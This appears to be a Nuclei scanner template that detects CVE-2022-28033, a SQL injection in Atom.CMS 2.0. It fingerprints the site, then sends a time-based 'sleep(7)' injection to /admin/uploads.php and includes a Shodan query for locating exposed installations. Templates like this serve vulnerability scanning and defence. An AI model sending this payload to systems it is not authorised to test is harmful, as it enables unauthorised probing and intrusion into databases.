id: CVE-2022-28033

info:
  name: Atom.CMS 2.0 - SQL Injection
  author: ritikchaddha
  severity: critical
  description: |
    Atom.CMS 2.0 is vulnerable to SQL Injection via Atom.CMS_admin_uploads.php which allows an attacker to execute arbitrary SQL commands.
  impact: |
    Successful exploitation could lead to unauthorized access, data leakage, and potential data manipulation.
  remediation: |
    Apply the latest security patches provided by the vendor to mitigate the SQL Injection vulnerability in Atom.CMS 2.0.
  reference:
    - https://github.com/thedigicraft/Atom.CMS/issues/259
    - https://nvd.nist.gov/vuln/detail/CVE-2022-28033
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2022-28033
    cwe-id: CWE-89
    epss-score: 0.05479
    epss-percentile: 0.91738
    cpe: cpe:2.3:a:thedigitalcraft:atomcms:2.0:*:*:*:*:*:*:*
  metadata:
    max-request: 2
    vendor: thedigitalcraft
    product: atomcms
    shodan-query: html:"atomcms"
  tags: cve,cve2022,atom,cms,sqli,vuln

flow: http(1) && http(2)

http:
  - raw:
      - |
        GET / HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - 'contains(tolower(body), "atomcms")'
        internal: true

  - raw:
      - |
        @timeout: 20s
        GET /admin/uploads.php?id=sleep(7) HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - 'duration>=7'
          - 'contains(body, "WHERE id")'
          - 'status_code == 200'
        condition: and
# digest: 4a0a00473045022100f9f9b7dbf03c648babf58f5b93b4f6d56c235ec2cc53048c13b2d047d8721cb202207fdcb26846847b251ca124fb861898ed335d00b4a9019ac22c7028623d05fd6f:922c64590222798bb761d5b6d8e72950